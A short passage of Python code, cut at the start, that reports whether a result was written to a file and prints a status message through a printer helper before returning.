write to file!", 2) else: printer.Printer().print_with_status( "Result written to file!", 0) return 0 else: return 0